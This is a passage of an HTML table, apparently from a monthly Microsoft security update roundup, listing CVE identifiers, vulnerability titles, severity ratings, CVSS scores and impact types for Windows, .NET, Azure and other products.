  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57090"><span>CVE-2026-57090</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57094"><span>CVE-2026-57094</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57087"><span>CVE-2026-57087</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57092"><span>CVE-2026-57092</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  VMSwitch Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55033"><span>CVE-2026-55033</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55127"><span>CVE-2026-55127</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55132"><span>CVE-2026-55132</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55010"><span>CVE-2026-55010</span></a></td>
  <td width="256" class="xl74">Minecraft Bedrock
  Dedicated Server Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50474"><span>CVE-2026-50474</span></a></td>
  <td width="256" class="xl74">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49164"><span>CVE-2026-49164</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Domain Services Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54128"><span>CVE-2026-54128</span></a></td>
  <td width="256" class="xl74">Windows DHCP Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50518"><span>CVE-2026-50518</span></a></td>
  <td width="256" class="xl74">Windows DHCP Server
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49796"><span>CVE-2026-49796</span></a></td>
  <td width="256" class="xl74">Windows GDI+ Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50380"><span>CVE-2026-50380</span></a></td>
  <td width="256" class="xl74">Windows GDI+ Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54127"><span>CVE-2026-54127</span></a></td>
  <td width="256" class="xl74">Windows Hyper-V
  Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50680"><span>CVE-2026-50680</span></a></td>
  <td width="256" class="xl74">Windows Hyper-V
  Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50327"><span>CVE-2026-50327</span></a></td>
  <td width="256" class="xl74">Windows Media Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58542"><span>CVE-2026-58542</span></a></td>
  <td width="256" class="xl74">Windows Media Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58608"><span>CVE-2026-58608</span></a></td>
  <td width="256" class="xl74">Windows Print Spooler
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54982"><span>CVE-2026-54982</span></a></td>
  <td width="256" class="xl74">Windows Reliable
  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54995"><span>CVE-2026-54995</span></a></td>
  <td width="256" class="xl74">Windows Reliable
  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42982"><span>CVE-2026-42982</span></a></td>
  <td width="256" class="xl74">Windows Secure Kernel
  Mode Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50392"><span>CVE-2026-50392</span></a></td>
  <td width="256" class="xl74">Windows Secure Kernel
  Mode Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50694"><span>CVE-2026-50694</span></a></td>
  <td width="256" class="xl74">Windows Secure Socket
  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56188"><span>CVE-2026-56188</span></a></td>
  <td width="256" class="xl74">Windows Server Network
  driver Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50444"><span>CVE-2026-50444</span></a></td>
  <td width="256" class="xl74">Windows Server Update
  Service (WSUS) Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54999"><span>CVE-2026-54999</span></a></td>
  <td width="256" class="xl74">Windows TCP/IP Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47302"><span>CVE-2026-47302</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50525"><span>CVE-2026-50525</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50651"><span>CVE-2026-50651</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57108"><span>CVE-2026-57108</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50524"><span>CVE-2026-50524</span></a></td>
  <td width="256" class="xl74">.NET Framework Denial
  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50527"><span>CVE-2026-50527</span></a></td>
  <td width="256" class="xl74">.NET Framework Denial
  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50648"><span>CVE-2026-50648</span></a></td>
  <td width="256" class="xl74">.NET Framework Denial
  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50650"><span>CVE-2026-50650</span></a></td>
  <td width="256" class="xl74">.NET Framework
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50646"><span>CVE-2026-50646</span></a></td>
  <td width="256" class="xl74">.NET Framework Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50649"><span>CVE-2026-50649</span></a></td>
  <td width="256" class="xl74">.NET Remote Code
  Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47304"><span>CVE-2026-47304</span></a></td>
  <td width="256" class="xl74">.NET Security Feature
  Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50528"><span>CVE-2026-50528</span></a></td>
  <td width="256" class="xl74">.NET Security Feature
  Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50659"><span>CVE-2026-50659</span></a></td>
  <td width="256" class="xl74">.NET Spoofing
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50526"><span>CVE-2026-50526</span></a></td>
  <td width="256" class="xl74">.NET Tampering
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50682"><span>CVE-2026-50682</span></a></td>
  <td width="256" class="xl74">Active Directory
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55001"><span>CVE-2026-55001</span></a></td>
  <td width="256" class="xl74">Active Directory
  Domain Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50647"><span>CVE-2026-50647</span></a></td>
  <td width="256" class="xl74">Active Directory
  Federation Server Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50684"><span>CVE-2026-50684</span></a></td>
  <td width="256" class="xl74">Active Directory
  Federation Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56170"><span>CVE-2026-56170</span></a></td>
  <td width="256" class="xl74">ASP.NET Core Denial of
  Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47300"><span>CVE-2026-47300</span></a></td>
  <td width="256" class="xl74">ASP.NET Core Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47303"><span>CVE-2026-47303</span></a></td>
  <td width="256" class="xl74">ASP.NET Core Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50652"><span>CVE-2026-50652</span></a></td>
  <td width="256" class="xl74">Azure Active Directory
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50653"><span>CVE-2026-50653</span></a></td>
  <td width="256" class="xl74">Azure Active Directory
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57969"><span>CVE-2026-57969</span></a></td>
  <td width="256" class="xl74">Azure CycleCloud
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58279"><span>CVE-2026-58279</span></a></td>
  <td width="256" class="xl74">Azure CycleCloud
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47632"><span>CVE-2026-47632</span></a></td>
  <td width="256" class="xl74">Azure Monitor Agent
  Metrics Extension Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50338"><span>CVE-2026-50338</span></a></td>
  <td width="256" class="xl74">Azure Spring Apps
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50488"><span>CVE-2026-50488</span></a></td>
  <td width="256" class="xl74">Clipboard User Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50491"><span>CVE-2026-50491</span></a></td>
  <td width="256" class="xl74">Code Integrity DLL
  (ci.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50381"><span>CVE-2026-50381</span></a></td>
  <td width="256" class="xl74">Composite Image File
  System driver (cimfs.sys) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50427"><span>CVE-2026-50427</span></a></td>
  <td width="256" class="xl74">Content Delivery
  Manager Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50692"><span>CVE-2026-50692</span></a></td>
  <td width="256" class="xl74">Desktop Window Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58633"><span>CVE-2026-58633</span></a></td>
  <td width="256" class="xl74">Desktop Window Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58634"><span>CVE-2026-58634</span></a></td>
  <td width="256" class="xl74">Desktop Window Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50296"><span>CVE-2026-50296</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50375"><span>CVE-2026-50375</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50353"><span>CVE-2026-50353</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50493"><span>CVE-2026-50493</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56643"><span>CVE-2026-56643</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56644"><span>CVE-2026-56644</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58629"><span>CVE-2026-58629</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49174"><span>CVE-2026-49174</span></a></td>
  <td width="256" class="xl74">DNS Client Tampering
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50495"><span>CVE-2026-50495</span></a></td>
  <td width="256" class="xl74">DNS Client Tampering
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57088"><span>CVE-2026-57088</span></a></td>
  <td width="256" class="xl74">Extensible Storage
  Engine (ESENT) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50663"><span>CVE-2026-50663</span></a></td>
  <td width="256" class="xl74">Game: Age of Empires
  II: Definitive Edition Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="72">
  <td class="xl67" height="72"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47282"><span>CVE-2026-47282</span></a></td>
  <td width="256" class="xl74">GitHub Copilot and
  Visual Studio Code Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
